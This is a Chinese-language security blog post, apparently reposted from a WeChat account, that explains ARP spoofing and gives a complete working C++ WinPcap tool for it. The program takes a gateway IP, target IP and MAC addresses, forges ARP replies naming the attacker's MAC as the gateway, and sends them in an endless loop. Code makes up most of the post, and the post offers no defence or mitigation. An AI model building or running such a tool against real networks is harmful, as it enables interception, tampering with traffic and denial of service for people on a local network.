ARP欺骗

  • A+
所属分类:安全文章
ARP欺骗

点击上方蓝字关注我们



ARP欺骗


ARP欺骗


    ARP欺骗(英语:ARP spoofing),又称ARP毒化(ARP poisoning,网络上多译为ARP病毒)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术,通过欺骗局域网内访问者PC的网关MAC地址,使访问者PC错以为攻击者更改后的MAC地址是网关的MAC,导致网络不通。此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定计算机或所有计算机无法正常连线。


     实现的方法:

  1. 给指定的IP发ARP包

  2. ARP中指定来源IP是网关

  3. 然后来源的mac填写成我们自己的,这样子他就把网关认为成我们了

    前几天老哥给我发了一本python的安全攻防,我翻了一下,看到了一篇用python实现的ARP毒化方法,用的是scapy,实现了简单的双工,下午的时候本来是要写人工智能的算法的,但是因为开了个班会的原因,一下子没兴趣了,舍友出去玩了没人陪我打游戏,我就想用C++实现ARP的毒化,也来扩大自己的类库(自己写了好多C++渗透逆向的类库,有感兴趣的可以和我要)。用的还是比较老的winPcap。

    编写前简单的了解一下ARP数据包的格式吧。 

    首先是以太网的头部:

  1. 0-6字节是目的的mac地址

  2. 6-12字节是源的mac地址

  3. 12-14字节是我们的请求类型(1位请求,2位响应)

    ARP头部:

  1. 硬件类型 1

  2. 协议类型 ARP是0x806

  3. 硬件地址长度 6

  4. 协议地址长度 4

  5. 操作类型 ARP请求是1

  6. 下面就是mac和ip了,不再重复

//14字节以太网首部struct EthernetHeader{  u_char DestMAC[6];    //目的MAC地址 6字节  u_char SourMAC[6];   //源MAC地址 6字节  u_short EthType;         //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp  2字节};//28字节ARP帧结构struct ArpHeader{  unsigned short hdType;   //硬件类型  unsigned short proType;   //协议类型  unsigned char hdSize;   //硬件地址长度  unsigned char proSize;   //协议地址长度  unsigned short op;   //操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。  u_char smac[6];   //源MAC地址  u_char sip[4];   //源IP地址  u_char dmac[6];   //目的MAC地址  u_char dip[4];   //目的IP地址};

    知道了这些,配合上我们的毒化方法就能简单的实现一个ARP的欺骗了。

    首先我们需要用户输入四个内容(当然也可以只输入目标的IP,但是那样加大了代码量)

  1. 目标IP

  2. 网关IP

  3. 本机MAC

  4. 目标MAC

    用户输入进来之后,我们进行校验输入的格式对不对就可以了。然后我们选择网卡,使用winpcap的pcap_findalldevs就可以获取到网卡的信息了,得到的是一个链表,然后全部打印出来,让用户选择相对应的网卡,然后投掷我们ARP数据包。看一下操作: 

整个程序比较麻烦的东西就是解析ip和mac,贴一下我写的吧:

struct IPSTRUCT{  unsigned char IP[4];};bool prarseIP(char* IP,IPSTRUCT* st){  char *substr= strtok(IP,".");  if (!substr)    return false;  st->IP[0] = atoi(substr);  substr= strtok(NULL,".");  if (!substr)    return false;  st->IP[1] = atoi(substr);  substr= strtok(NULL,".");  if (!substr)    return false;  st->IP[2] = atoi(substr);  substr= strtok(NULL,".");  if (!substr)    return false;  st->IP[3] = atoi(substr);  return true;}int hex2int(char c){  if ((c >= 'A') && (c <= 'Z'))  {    return c - 'A' + 10;  }  else if ((c >= 'a') && (c <= 'z'))  {    return c - 'a' + 10;  }  else if ((c >= '0') && (c <= '9'))  {    return c - '0';  }  return 0;}int HexToLLInt(const char* hexStr){  int data[20] = { 0 };  int count = 0;  int i = 0;  int ret = 0;  int len = strlen(hexStr);  if ((hexStr[len - 1] == '0') && (hexStr[len - 2] == '/'))    len -= 2;  for (int i = 0; i<len; i += 2)  {    int low = hex2int(hexStr[i+1]); //低四位    int high = hex2int(hexStr[i]);  //高四位    data[count++] = (high << 4) + low;  }  for (i = 0; i <count; i++)  {    ret = ret << 8;    ret += data[i];  }  return ret;}struct MACSTRUCT{  unsigned char MAC[6];};bool prarseMAC(char* IP,MACSTRUCT* st){  char *substr= strtok(IP,"-");  if (!substr)    return false;  st->MAC[0] = HexToLLInt(substr);  substr= strtok(NULL,"-");  if (!substr)    return false;  st->MAC[1] = HexToLLInt(substr);  substr= strtok(NULL,"-");  if (!substr)    return false;  st->MAC[2] = HexToLLInt(substr);  substr= strtok(NULL,"-");  if (!substr)    return false;  st->MAC[3] = HexToLLInt(substr);  substr= strtok(NULL,"-");  if (!substr)    return false;  st->MAC[4] = HexToLLInt(substr);  substr= strtok(NULL,"-");  if (!substr)    return false;  st->MAC[5] = HexToLLInt(substr);  return true;}

    封装了几个方法,十六进制的从网上借鉴的,懒得写了...

  pcap_if_t *alldevs;  pcap_if_t *d;  char errbuf[PCAP_ERRBUF_SIZE+1];  /* Retrieve the interfaces list */  if (pcap_findalldevs(&alldevs, errbuf) == -1)  {    fprintf(stderr,"Error in pcap_findalldevs: %sn",errbuf);    exit(1);  }  int id = 0;  /* Scan the list printing every entry */  for(d=alldevs;d;d=d->next)  {    printf_s("%d:",id);    id++;    ifprint(d);  }  int UseEID = 0;  printf_s("请输入要使用的设备编号:");  scanf_s("%d",&UseEID);  /* 跳转到选中的适配器 */  for (d = alldevs, id = 0; id < UseEID; d = d->next, id++)    Sleep(1);  pcap_t *adhandle;   //打开网络适配器,捕捉实例,是pcap_open返回的对象  char error[PCAP_ERRBUF_SIZE];  if((adhandle = pcap_open_live(d->name, 100, 1, 1000, error) ) == NULL)  {    fprintf(stderr,"nError opening adapter: %sn", error);    system("pause");    return 0;  }

    通过pcap_findalldevs获得pcap_if_t的链表指针,然后打印出来相关信息。封装我们的ARP数据包:


unsigned char sendbuf[42]; //arp包结构大小,42个字节
EthernetHeader eh; ArpHeader ah; //赋值MAC地址 memcpy(eh.DestMAC, ETHDestmac, 6); //以太网首部目的MAC地址,全为广播地址 memcpy(eh.SourMAC, ETHSourcemac, 6); //以太网首部源MAC地址 eh.EthType = htons(ETH_ARP); //htons:将主机的无符号短整形数转换成网络字节顺序
ah.hdType = htons(ARP_HARDWARE); ah.proType = htons(ETH_IP); ah.hdSize = 6; ah.proSize = 4; ah.op = htons(ARP_RESPONSE); memcpy(ah.smac, ARPSourcemac, 6); //ARP字段源MAC地址 memcpy(ah.dmac, ARPDestmac, 6); //ARP字段目的MAC地址 memcpy(ah.sip, ARPSip, 4); //ARP字段源IP地址 memcpy(ah.dip, ARPDip, 4); //ARP字段目的IP地址
//构造一个ARP请求 memset(sendbuf, 0, sizeof(sendbuf)); //ARP清零 memcpy(sendbuf, &eh, sizeof(eh)); memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah));

循环发送ARP数据包:

  printf_s("开始ARP欺骗");  //监控数据包  //pcap_loop(adhandle, 0, packet_handler, NULL);  while(true)  {    if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) {      printf("ARP欺骗succeedn");      Sleep(500);    }    else {      printf("PacketSendPacket in getmine Error: %dn", GetLastError());      break;    }  }

这样就可以实现ARP欺骗了。完整代码:

#include "stdafx.h" #include "PCAP.h" #include "remote-ext.h" #ifndef WIN32 #include <sys/socket.h> #include <netinet/in.h> #else #include <winsock.h> #endif #pragma comment(lib,"ws2_32.lib") #pragma comment(lib,"wpcap.lib") /* void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) { system("cls"); static int packet_Count=1; packet_Count++; printf("开始欺骗后劫持本地的数据包个数:%d",packet_Count); } */ #define ETH_ARP 0x0806 //以太网帧类型表示后面数据的类型,对于ARP请求或应答来说,该字段的值为x0806 #define ARP_HARDWARE 1 //硬件类型字段值为表示以太网地址 #define ETH_IP 0x0800 //协议类型字段表示要映射的协议地址类型值为x0800表示IP地址 #define ARP_REQUEST 1 //ARP请求 #define ARP_RESPONSE 2 //ARP应答 //14字节以太网首部 struct EthernetHeader { u_char DestMAC[6]; //目的MAC地址 6字节 u_char SourMAC[6]; //源MAC地址 6字节 u_short EthType; //上一层协议类型,如0x0800代表上一层是IP协议,0x0806为arp 2字节 }; //28字节ARP帧结构 struct ArpHeader { unsigned short hdType; //硬件类型 unsigned short proType; //协议类型 unsigned char hdSize; //硬件地址长度 unsigned char proSize; //协议地址长度 unsigned short op; //操作类型,ARP请求(1),ARP应答(2),RARP请求(3),RARP应答(4)。u_char smac[6]; //源MAC地址 u_char sip[4]; //源IP地址 u_char dmac[6]; //目的MAC地址 u_char dip[4]; //目的IP地址 }; /* From tcptraceroute, convert a numeric IP address to a string */ #define IPTOSBUFFERS 12 char *iptos(u_long in) { static char output[IPTOSBUFFERS][3*4+3+1]; static short which; u_char *p; p = (u_char *)∈ which = (which + 1 == IPTOSBUFFERS ? 0 : which + 1); sprintf(output[which], "%d.%d.%d.%d", p[0], p[1], p[2], p[3]); return output[which]; } /* Print all the available information on the given interface */ void ifprint(pcap_if_t *d) { pcap_addr_t *a; /* Name */ printf("%sn",d->name); /* Description */ if (d->description) printf("tDescription: %sn",d->description); /* Loopback Address*/ printf("tLoopback: %sn",(d->flags & PCAP_IF_LOOPBACK)?"yes":"no"); /* IP addresses */ for(a=d->addresses;a;a=a->next) { printf("tAddress Family: #%dn",a->addr->sa_family); switch(a->addr->sa_family) { case AF_INET: printf("tAddress Family Name: AF_INETn"); if (a->addr) printf("tAddress: %sn",iptos(((struct sockaddr_in *)a->addr)->sin_addr.s_addr)); if (a->netmask) printf("tNetmask: %sn",iptos(((struct sockaddr_in *)a->netmask)->sin_addr.s_addr)); if (a->broadaddr) printf("tBroadcast Address: %sn",iptos(((struct sockaddr_in *)a->broadaddr)->sin_addr.s_addr)); if (a->dstaddr) printf("tDestination Address: %sn",iptos(((struct sockaddr_in *)a->dstaddr)->sin_addr.s_addr)); break; default: printf("tAddress Family Name: Unknownn"); break; } } printf("n"); } struct IPSTRUCT { unsigned char IP[4]; }; bool prarseIP(char* IP,IPSTRUCT* st) { char *substr= strtok(IP,"."); if (!substr) return false; st->IP[0] = atoi(substr); substr= strtok(NULL,"."); if (!substr) return false; st->IP[1] = atoi(substr); substr= strtok(NULL,"."); if (!substr) return false; st->IP[2] = atoi(substr); substr= strtok(NULL,"."); if (!substr) return false; st->IP[3] = atoi(substr); return true; } int hex2int(char c) { if ((c >= 'A') && (c <= 'Z')) { return c - 'A' + 10; } else if ((c >= 'a') && (c <= 'z')) { return c - 'a' + 10; } else if ((c >= '0') && (c <= '9')) { return c - '0'; } return 0; } int HexToLLInt(const char* hexStr) { int data[20] = { 0 }; int count = 0; int i = 0; int ret = 0; int len = strlen(hexStr); if ((hexStr[len - 1] == '0') && (hexStr[len - 2] == '/')) len -= 2; for (int i = 0; i<len; i += 2) { int low = hex2int(hexStr[i+1]); //低四位 int high = hex2int(hexStr[i]); //高四位 data[count++] = (high << 4) + low; } for (i = 0; i <count; i++) { ret = ret << 8; ret += data[i]; } return ret; } struct MACSTRUCT { unsigned char MAC[6]; }; bool prarseMAC(char* IP,MACSTRUCT* st) { char *substr= strtok(IP,"-"); if (!substr) return false; st->MAC[0] = HexToLLInt(substr); substr= strtok(NULL,"-"); if (!substr) return false; st->MAC[1] = HexToLLInt(substr); substr= strtok(NULL,"-"); if (!substr) return false; st->MAC[2] = HexToLLInt(substr); substr= strtok(NULL,"-"); if (!substr) return false; st->MAC[3] = HexToLLInt(substr); substr= strtok(NULL,"-"); if (!substr) return false; st->MAC[4] = HexToLLInt(substr); substr= strtok(NULL,"-"); if (!substr) return false; st->MAC[5] = HexToLLInt(substr); return true; } int main() { //以太网目的mac ,被欺骗的MAC unsigned char ETHDestmac[6]; //以太网源mac,我们的mac unsigned char ETHSourcemac[6]; //ARP源mac,我们的mac unsigned char ARPSourcemac[6]; //ARP目的mac,被欺骗的mac unsigned char ARPDestmac[6]; //被欺骗的IP地址 unsigned char ARPDip[4]; //网关IP unsigned char ARPSip[4]; char text[66]; printf_s("请输入网关IP:"); scanf("%s",&text); IPSTRUCT ips; if(!prarseIP(text,&ips)) { printf("网关IP输入出错"); return -1; } memcpy(ARPSip,ips.IP,4); printf_s("请输入目标IP:"); scanf("%s",&text); if(!prarseIP(text,&ips)) { printf("目标IP输入出错"); return -1; } memcpy(ARPDip,ips.IP,4); printf_s("请输入本机MAC:"); scanf("%s",&text); MACSTRUCT macs; if(!prarseMAC(text,&macs)) { printf("本机MAC输入出错"); return -1; } memcpy(ETHSourcemac,macs.MAC,6); memcpy(ARPSourcemac,macs.MAC,6); printf_s("请输入目标MAC:"); scanf("%s",&text); if(!prarseMAC(text,&macs)) { printf("目标MAC输入出错"); return -1; } memcpy(ETHDestmac,macs.MAC,6); memcpy(ARPDestmac,macs.MAC,6); pcap_if_t *alldevs; pcap_if_t *d; char errbuf[PCAP_ERRBUF_SIZE+1]; /* Retrieve the interfaces list */ if (pcap_findalldevs(&alldevs, errbuf) == -1) { fprintf(stderr,"Error in pcap_findalldevs: %sn",errbuf); exit(1); } int id = 0; /* Scan the list printing every entry */ for(d=alldevs;d;d=d->next) { printf_s("%d:",id); id++; ifprint(d); } int UseEID = 0; printf_s("请输入要使用的设备编号:"); scanf_s("%d",&UseEID); /* 跳转到选中的适配器 */ for (d = alldevs, id = 0; id < UseEID; d = d->next, id++) Sleep(1); pcap_t *adhandle; //打开网络适配器,捕捉实例,是pcap_open返回的对象 char error[PCAP_ERRBUF_SIZE]; if((adhandle = pcap_open_live(d->name, 100, 1, 1000, error) ) == NULL) { fprintf(stderr,"nError opening adapter: %sn", error); system("pause"); return 0; } unsigned char sendbuf[42]; //arp包结构大小,42个字节 EthernetHeader eh; ArpHeader ah; //赋值MAC地址 memcpy(eh.DestMAC, ETHDestmac, 6); //以太网首部目的MAC地址,全为广播地址 memcpy(eh.SourMAC, ETHSourcemac, 6); //以太网首部源MAC地址 eh.EthType = htons(ETH_ARP); //htons:将主机的无符号短整形数转换成网络字节顺序 ah.hdType = htons(ARP_HARDWARE); ah.proType = htons(ETH_IP); ah.hdSize = 6; ah.proSize = 4; ah.op = htons(ARP_RESPONSE); memcpy(ah.smac, ARPSourcemac, 6); //ARP字段源MAC地址 memcpy(ah.dmac, ARPDestmac, 6); //ARP字段目的MAC地址 memcpy(ah.sip, ARPSip, 4); //ARP字段源IP地址 memcpy(ah.dip, ARPDip, 4); //ARP字段目的IP地址 //构造一个ARP请求 memset(sendbuf, 0, sizeof(sendbuf)); //ARP清零 memcpy(sendbuf, &eh, sizeof(eh)); memcpy(sendbuf + sizeof(eh), &ah, sizeof(ah)); printf_s("开始ARP欺骗"); //监控数据包 //pcap_loop(adhandle, 0, packet_handler, NULL); while(true) { if (pcap_sendpacket(adhandle, sendbuf, 42) == 0) { printf("ARP欺骗succeedn"); Sleep(500); } else { printf("PacketSendPacket in getmine Error: %dn", GetLastError()); break; } } return 0; }





往期推荐



【Cheetah语言】缓冲区溢出

【Cheetah语言】Cheetah语言编写验证码识别爆破脚本

【Cheetah语言】Cheetah由浅入深编写SQL注入脚本


ARP欺骗

点个在看你最好看


本文始发于微信公众号(云剑侠心):ARP欺骗

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: